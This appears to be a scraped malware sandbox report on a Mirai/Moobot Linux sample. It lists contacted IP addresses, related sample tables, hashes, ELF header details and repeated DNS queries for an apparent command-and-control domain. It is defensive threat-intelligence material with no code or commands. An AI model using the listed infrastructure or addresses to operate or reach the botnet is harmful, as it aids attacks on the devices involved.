120.235.109.10	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
41.205.2.151	unknown	Cameroon	30992	MTN-NS-CAMEROONCM	false
41.20.20.126	unknown	South Africa	36994	Vodacom-VBZA	false
149.138.180.186	unknown	United States	3356	LEVEL3US	false
157.85.210.237	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
67.121.119.36	unknown	United States	7018	ATT-INTERNET4US	false
157.198.135.84	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.85.129.152	unknown	South Africa	10474	OPTINETZA	false
157.178.212.192	unknown	United States	15337	WRHARPERUS	false
197.60.107.80	unknown	Egypt	8452	TE-ASTE-ASEG	false
159.21.183.148	unknown	United States	133188	MWH-AU-SYD-00MWHSydneyPOPNZ	false
157.181.229.250	unknown	Hungary	2012	ELTENETELTENETHU	false
41.203.39.91	unknown	South Africa	36968	ECN-AS1ZA	false
157.21.202.238	unknown	United States	53446	EVMSUS	false
41.92.196.108	unknown	Cameroon	15964	CAMNET-ASCM	false
218.186.108.184	unknown	Singapore	10091	STARHUB-CABLEStarHubLtdSG	false
157.97.16.231	unknown	Iceland	43571	NOVAIS-ASIS	false
197.172.14.137	unknown	South Africa	37168	CELL-CZA	false
92.160.187.164	unknown	France	3215	FranceTelecom-OrangeFR	false
35.107.17.37	unknown	United States	237	MERIT-AS-14US	false
157.133.61.98	unknown	United States	396434	SAP-DC-TOUS	false
205.166.25.230	unknown	United States	18779	EGIHOSTINGUS	false
27.4.89.148	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	false
41.231.153.113	unknown	Tunisia	5438	ATI-TN	false
41.94.163.80	unknown	Mozambique	327700	MoRENetMZ	false
157.247.205.1	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
41.83.74.160	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
41.54.60.128	unknown	South Africa	37168	CELL-CZA	false
138.92.216.84	unknown	United States	11482	CANISIUS-COLLEGEUS	false
41.18.122.251	unknown	South Africa	29975	VODACOM-ZA	false
197.197.89.99	unknown	Egypt	36992	ETISALAT-MISREG	false
157.100.115.180	unknown	Ecuador	27947	TelconetSAEC	false
41.190.129.208	unknown	Mauritius	36997	INFOCOM-UG	false
68.47.168.163	unknown	United States	7922	COMCAST-7922US	false
157.74.27.74	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
197.234.255.153	unknown	unknown	36974	AFNET-ASCI	false
49.108.127.127	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
41.27.174.196	unknown	South Africa	29975	VODACOM-ZA	false
197.21.41.53	unknown	Tunisia	37693	TUNISIANATN	false
197.132.31.221	unknown	Egypt	24835	RAYA-ASEG	false
41.188.184.95	unknown	Tanzania United Republic of	37084	simbanet-tzTZ	false
41.239.26.29	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.87.162.60	unknown	Botswana	14988	BTC-GATE1BW	false
197.159.177.13	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
43.202.35.240	unknown	Japan	4249	LILLY-ASUS	false
41.171.63.0	unknown	South Africa	36937	Neotel-ASZA	false
157.11.242.1	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
203.67.137.216	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
157.164.123.151	unknown	Belgium	49964	VERIXI-BACKUPNETWORKBE	false
158.84.41.156	unknown	United States	20379	NET-BAKERUS	false
41.72.45.69	unknown	Angola	37155	NETONEAO	false
212.57.21.181	unknown	Turkey	34984	TELLCOM-ASTR	false
148.220.99.154	unknown	Mexico	263134	UniversidadAutonomadeQueretaroMX	false
41.108.235.37	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.70.186.134	unknown	South Africa	16637	MTNNS-ASZA	false
130.79.175.62	unknown	France	2259	FR-U-STRASBOURGOSIRIS-UNIVERSITEDESTRASBOURGEU	false
84.146.83.160	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
206.160.25.233	unknown	United States	1239	SPRINTLINKUS	false
157.49.25.101	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.202.140.73	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.65.94.66	unknown	South Africa	16637	MTNNS-ASZA	false
197.13.131.249	unknown	Tunisia	37504	MeninxTN	false
197.224.41.178	unknown	Mauritius	23889	MauritiusTelecomMU	false
157.46.82.5	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.145.71.242	unknown	South Africa	5713	SAIX-NETZA	false
41.167.100.103	unknown	South Africa	36937	Neotel-ASZA	false
41.172.232.86	unknown	South Africa	36937	Neotel-ASZA	false
197.32.82.213	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.54.12.220	unknown	South Africa	37168	CELL-CZA	false
155.149.2.198	unknown	United States	1452	DNIC-ASBLK-01451-01456US	false
41.158.143.114	unknown	Gabon	16058	Gabon-TelecomGA	false
197.191.86.139	unknown	Ghana	37140	zain-asGH	false
200.55.150.21	unknown	Cuba	27725	EmpresadeTelecomunicacionesdeCubaSACU	false
157.226.51.103	unknown	United States	4704	SANNETRakutenMobileIncJP	false
63.222.196.194	unknown	United States	3491	BTN-ASNUS	false
79.124.111.97	unknown	Poland	44124	RYBNET-ASPL	false
41.60.74.54	unknown	Mauritius	30969	ZOL-ASGB	false
197.85.27.233	unknown	South Africa	10474	OPTINETZA	false
41.169.49.69	unknown	South Africa	36937	Neotel-ASZA	false
197.171.105.26	unknown	South Africa	37168	CELL-CZA	false
38.194.227.154	unknown	United States	174	COGENT-174US	false
132.103.195.119	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
157.125.236.25	unknown	Sweden	31655	ASN-GAMMATELECOMGB	false
197.0.2.16	unknown	Tunisia	37705	TOPNETTN	false
20.100.82.72	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.196.29.78	unknown	United States	7018	ATT-INTERNET4US	false
197.240.81.235	unknown	unknown	37705	TOPNETTN	false
4.199.8.20	unknown	United States	3356	LEVEL3US	false
46.247.204.117	unknown	Austria	8445	SALZBURG-AG-ASAT	false
197.166.191.35	unknown	Egypt	24863	LINKdotNET-ASEG	false
181.228.101.61	unknown	Argentina	10481	TelecomArgentinaSAAR	false
109.228.178.34	unknown	Sweden	8473	BAHNHOFhttpwwwbahnhofnetSE	false
99.200.204.63	unknown	United States	10507	SPCSUS	false
41.53.33.243	unknown	South Africa	37168	CELL-CZA	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
157.85.210.237	mpsl-20220925-1656.elf	Get hash	malicious	Mirai, Moobot	Browse
157.85.210.237	L5KEcDLI8h	Get hash	malicious	Mirai	Browse
197.201.220.191	Josho.x86.elf	Get hash	malicious	Mirai	Browse
197.201.220.191	SecuriteInfo.com.Linux.Siggen.9999.27627.8892	Get hash	malicious	Mirai	Browse
157.198.135.84	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
197.85.129.152	rRdUTd1Yi5.elf	Get hash	malicious	Mirai, Moobot	Browse
197.85.129.152	kIePoQD2II	Get hash	malicious	Mirai	Browse
41.205.2.151	sTwjz3f1Re.elf	Get hash	malicious	Mirai, Moobot	Browse
41.205.2.151	1z3DyAgvJC	Get hash	malicious	Mirai	Browse
41.20.20.126	Chr3plErFZ.elf	Get hash	malicious	Mirai	Browse
197.60.107.80	uQoF1OS64C.elf	Get hash	malicious	Mirai, Moobot	Browse
	W1zYK73DpA.elf	Get hash	malicious	Mirai, Moobot	Browse
	t592Q7E0mh.elf	Get hash	malicious	Mirai	Browse
	RGjdmE54ZE.elf	Get hash	malicious	Mirai, Moobot	Browse
	PTWtPGJvYe	Get hash	malicious	Mirai	Browse
	XPChvE6GQd	Get hash	malicious	Unknown	Browse
157.181.229.250	arm7-20230428-2150.elf	Get hash	malicious	Mirai	Browse
157.181.229.250	EGe6UveHCq.elf	Get hash	malicious	Mirai, Moobot	Browse
157.21.202.238	Jl0BKPUEAc.elf	Get hash	malicious	Mirai, Moobot	Browse
157.21.202.238	tM4VfJr2KR.elf	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bn.networkbn.click	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	103.172.79.74
	zpbWkmw0VY.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	BqGE57kqQq.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	s733gyCw41.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191
	yJD0izAidI.elf	Get hash	malicious	Mirai, Moobot	Browse	103.14.225.191

Process:	/tmp/k5IgePZIDB.elf
File Type:	data
Category:	dropped
Size (bytes):	20
Entropy (8bit):	4.021928094887362
Encrypted:	false
SSDEEP:	3:TgtLG:TghG
MD5:	FA26E873F6432DAAD2D6EB1BC259A63D
SHA1:	F2B8F35E361C36476F5ABD3A9095CA9FB3E25057
SHA-256:	3080B9CA0DC10F6242C3F5AFD276FF02115DCF902A0BE50C4676DD8B7ED8B333
SHA-512:	EC5C65C88EBCF59354C71E462D49F55F970A9812D80674E48E6EC67B735349B6724ECD214AAB11EBA76F1F5862CEECD45A8DE713241F4A403F86362777BE36F5
Malicious:	false
Reputation:	low
Preview:	/tmp/k5IgePZIDB.elf.

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.1734688599699155
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	k5IgePZIDB.elf
File size:	72'752 bytes
MD5:	c18cbeefc9ddca95553511b7fe42ac31
SHA1:	84e7395752684c6d5353ecff9b0045cfc14e30f3
SHA256:	f0c477a69418ed0128339b1cd8a3fd5b60ed93b877a36e15bcd2e0577261d487
SHA512:	16cb727408604fcc552236a16633eea745ecc4302f1473f750bdb1cd10549fc332bd1ec167c1a6c9cfb6e52aaae3df565432894542c9f3ab326d9de5c26475c7
SSDEEP:	1536:uePh9W1a6ln7g+9z/n2vXZQcAVjt5nfEYk5jTtmtrNUb:u0h/W2pAFPnsYUgpNM
TLSH:	94633B21BA761E2BC4C1947621E74B69F2F147CA26ECCA0B3DB10D9EEF616407143AF5
File Content Preview:	.ELF...........................4.........4. ...(....................... ... ...............$...$...$...<..&\........dt.Q................................@..(....@.<.................#.....b`..`.....!....."<..@.....".........`......$"<.."<..@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	72352
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xf2e0	0x0	0x6	AX	4
.fini	PROGBITS	0x1f390	0xf390	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1f3a8	0xf3a8	0x2278	0x0	0x2	A	8
.ctors	PROGBITS	0x31624	0x11624	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x3162c	0x1162c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x31638	0x11638	0x428	0x0	0x3	WA	8
.bss	NOBITS	0x31a60	0x11a60	0x2220	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x11a60	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x11620	0x11620	6.2109	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x11624	0x31624	0x31624	0x43c	0x265c	3.0875	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report k5IgePZIDB.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.06bzQm (deleted)

/tmp/qemu-open.08UAOn (deleted)

/tmp/qemu-open.0BNaJm (deleted)

/tmp/qemu-open.0EMwBo (deleted)

/tmp/qemu-open.0EO8go (deleted)

/tmp/qemu-open.0OtPep (deleted)

/tmp/qemu-open.0Qv4Hp (deleted)

/tmp/qemu-open.0Uz1gn (deleted)

/tmp/qemu-open.0WjL1l (deleted)

/tmp/qemu-open.0bO4ep (deleted)

/tmp/qemu-open.0uXTro (deleted)

/tmp/qemu-open.0wfKgm (deleted)

/tmp/qemu-open.0xUdXp (deleted)

/tmp/qemu-open.0yLimq (deleted)

/tmp/qemu-open.0yxkJo (deleted)

/tmp/qemu-open.1KNh8o (deleted)

/tmp/qemu-open.1MGkQl (deleted)

/tmp/qemu-open.1QoJUp (deleted)

/tmp/qemu-open.1Rhzmm (deleted)

/tmp/qemu-open.1T71Go (deleted)

/tmp/qemu-open.1Ypq8n (deleted)

/tmp/qemu-open.1Zeczp (deleted)

/tmp/qemu-open.1aB0bm (deleted)

/tmp/qemu-open.1d1lfq (deleted)

/tmp/qemu-open.1kUyVm (deleted)

Linux Analysis Report
k5IgePZIDB.elf

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 17, 2024 03:42:54.500227928 CET	192.168.2.14	8.8.8.8	0x85a0	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:55.299778938 CET	192.168.2.14	8.8.8.8	0xbdad	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:56.142746925 CET	192.168.2.14	8.8.8.8	0x40cb	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:56.904339075 CET	192.168.2.14	8.8.8.8	0x7a09	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:57.681883097 CET	192.168.2.14	8.8.8.8	0xf672	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:58.455315113 CET	192.168.2.14	8.8.8.8	0xa230	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:42:59.261310101 CET	192.168.2.14	8.8.8.8	0x4e3b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:00.020659924 CET	192.168.2.14	8.8.8.8	0xc4d4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:00.783993006 CET	192.168.2.14	8.8.8.8	0xc0f2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:01.557113886 CET	192.168.2.14	8.8.8.8	0x7e29	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:02.335994959 CET	192.168.2.14	8.8.8.8	0x5848	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:03.117919922 CET	192.168.2.14	8.8.8.8	0x3d68	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:03.885277033 CET	192.168.2.14	8.8.8.8	0x243d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:04.736212969 CET	192.168.2.14	8.8.8.8	0x374e	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:05.521127939 CET	192.168.2.14	8.8.8.8	0xe401	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:06.299271107 CET	192.168.2.14	8.8.8.8	0x27e9	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.065274000 CET	192.168.2.14	8.8.8.8	0x6a7b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:07.842761040 CET	192.168.2.14	8.8.8.8	0xa407	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:08.694808006 CET	192.168.2.14	8.8.8.8	0x2e15	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:09.479929924 CET	192.168.2.14	8.8.8.8	0x2eee	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:10.249821901 CET	192.168.2.14	8.8.8.8	0x6b38	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.032769918 CET	192.168.2.14	8.8.8.8	0x6608	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:11.812339067 CET	192.168.2.14	8.8.8.8	0x4e4e	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:12.587929964 CET	192.168.2.14	8.8.8.8	0x5dfb	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:13.441589117 CET	192.168.2.14	8.8.8.8	0x71f	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:14.231057882 CET	192.168.2.14	8.8.8.8	0x22ee	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:15.009562016 CET	192.168.2.14	8.8.8.8	0x9bbc	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:15.868807077 CET	192.168.2.14	8.8.8.8	0x251d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:16.696546078 CET	192.168.2.14	8.8.8.8	0xefad	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:17.451105118 CET	192.168.2.14	8.8.8.8	0x57cd	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:18.226412058 CET	192.168.2.14	8.8.8.8	0x746a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:19.058353901 CET	192.168.2.14	8.8.8.8	0x9dd5	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:19.830836058 CET	192.168.2.14	8.8.8.8	0x6998	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:24.831978083 CET	192.168.2.14	8.8.8.8	0x6998	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:25.608695030 CET	192.168.2.14	8.8.8.8	0x73af	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:26.403086901 CET	192.168.2.14	8.8.8.8	0xb014	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:27.172827005 CET	192.168.2.14	8.8.8.8	0x2514	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:27.929760933 CET	192.168.2.14	8.8.8.8	0xbfdf	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:28.771478891 CET	192.168.2.14	8.8.8.8	0x4a96	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:29.547476053 CET	192.168.2.14	8.8.8.8	0xe6d3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:30.331878901 CET	192.168.2.14	8.8.8.8	0xba4d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:31.173808098 CET	192.168.2.14	8.8.8.8	0xbd39	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:31.950155020 CET	192.168.2.14	8.8.8.8	0x3986	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:32.714299917 CET	192.168.2.14	8.8.8.8	0xde80	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:33.500227928 CET	192.168.2.14	8.8.8.8	0xe87d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:34.275213957 CET	192.168.2.14	8.8.8.8	0xab	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:35.062707901 CET	192.168.2.14	8.8.8.8	0x8ae5	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:35.904126883 CET	192.168.2.14	8.8.8.8	0x89e3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:36.667530060 CET	192.168.2.14	8.8.8.8	0xa26c	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:37.430397987 CET	192.168.2.14	8.8.8.8	0x1e0d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:38.217629910 CET	192.168.2.14	8.8.8.8	0x2ed4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:38.994757891 CET	192.168.2.14	8.8.8.8	0xe31d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:39.811500072 CET	192.168.2.14	8.8.8.8	0x515e	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:40.574829102 CET	192.168.2.14	8.8.8.8	0xd9fe	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:41.354134083 CET	192.168.2.14	8.8.8.8	0xb83d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:42.156994104 CET	192.168.2.14	8.8.8.8	0xeeb3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:42.932616949 CET	192.168.2.14	8.8.8.8	0x8054	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:43.721971035 CET	192.168.2.14	8.8.8.8	0x41d7	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:44.493520021 CET	192.168.2.14	8.8.8.8	0x1908	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:45.334727049 CET	192.168.2.14	8.8.8.8	0x17e	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:46.097798109 CET	192.168.2.14	8.8.8.8	0x3dd2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:46.866050005 CET	192.168.2.14	8.8.8.8	0xac9b	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:47.655225992 CET	192.168.2.14	8.8.8.8	0xcb92	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:48.449847937 CET	192.168.2.14	8.8.8.8	0x62a3	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:49.208719015 CET	192.168.2.14	8.8.8.8	0x9972	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:49.977336884 CET	192.168.2.14	8.8.8.8	0xb5ae	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:50.816653967 CET	192.168.2.14	8.8.8.8	0xb9fe	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:51.612665892 CET	192.168.2.14	8.8.8.8	0x4bb2	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:52.398915052 CET	192.168.2.14	8.8.8.8	0xb33f	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:53.176165104 CET	192.168.2.14	8.8.8.8	0xc189	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:54.884551048 CET	192.168.2.14	8.8.8.8	0x8ca6	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:55.720280886 CET	192.168.2.14	8.8.8.8	0xf77a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:56.472623110 CET	192.168.2.14	8.8.8.8	0xa39a	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:57.274020910 CET	192.168.2.14	8.8.8.8	0x6c61	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:58.126395941 CET	192.168.2.14	8.8.8.8	0xb527	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:43:58.885204077 CET	192.168.2.14	8.8.8.8	0x5ba4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:03.888108969 CET	192.168.2.14	8.8.8.8	0x5ba4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:04.653151989 CET	192.168.2.14	8.8.8.8	0xe5d4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:05.411381006 CET	192.168.2.14	8.8.8.8	0xedeb	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:06.245254993 CET	192.168.2.14	8.8.8.8	0x8d94	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:07.009315968 CET	192.168.2.14	8.8.8.8	0xacf1	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:07.791789055 CET	192.168.2.14	8.8.8.8	0xb84	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:08.626883030 CET	192.168.2.14	8.8.8.8	0xfe1d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:10.419410944 CET	192.168.2.14	8.8.8.8	0xc723	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:11.190501928 CET	192.168.2.14	8.8.8.8	0x2c4	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:11.953140020 CET	192.168.2.14	8.8.8.8	0x7e87	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:12.780808926 CET	192.168.2.14	8.8.8.8	0xc808	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:13.565886021 CET	192.168.2.14	8.8.8.8	0xce56	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:14.375721931 CET	192.168.2.14	8.8.8.8	0x2649	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:15.146150112 CET	192.168.2.14	8.8.8.8	0x652d	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:15.919032097 CET	192.168.2.14	8.8.8.8	0xfd39	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:16.752326965 CET	192.168.2.14	8.8.8.8	0x49f	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
Mar 17, 2024 03:44:17.543009996 CET	192.168.2.14	8.8.8.8	0xb453	Standard query (0)	bn.networkbn.click	A (IP address)	IN (0x0001)	false
